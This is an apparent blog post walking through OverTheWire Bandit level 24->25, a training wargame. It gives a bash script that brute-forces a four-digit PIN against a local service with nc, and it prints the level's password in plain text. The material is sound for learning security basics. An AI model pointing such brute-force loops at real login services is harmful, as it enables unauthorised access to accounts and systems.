Bandit 24 -> 25

Ukpa Uchechi
1 min readApr 7, 2024

--

bandit 24->25

Solution to this bandit was taking so long to execute, so I have to batch them, so nc could process the code in smaller batches.

First tested it manually, and boy was it stressful, so I did what any other programmer will do, wrote a script to automate it. May not be the most efficient, but it works.

#!/bin/bash
STEP=2000
START=0000
STOP=2000

search_word="Correct!"
file_to_search="returned.txt"

while [ "$STOP" -le 9999 ]; do
echo $START $STOP
if [ "$STOP" -ge 9000 ]; then
(( STEP = 999 ))
fi
for((i = START; i <= STOP; i++)); do
printf -v padded_i "%04d" "$i"
echo VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar $padded_i >> combinations.txt
done
echo "done executing loop, sending to nc"
cat combinations.txt | nc localhost 30002 >> returned.txt
echo "done from nc,sending to grep"
if grep -q "$search_word" "$file_to_search"
then
echo "Password found"
exit 0
else
echo "Password not found in file"
>combinations.txt
>returned.txt
(( START += STEP ))
(( STOP += STEP ))
fi
done

What would you have done differently?

--

--

Ukpa Uchechi
Ukpa Uchechi

Written by Ukpa Uchechi

A Tech Enthusiastic and lover, who loves teaching and learning.

No responses yet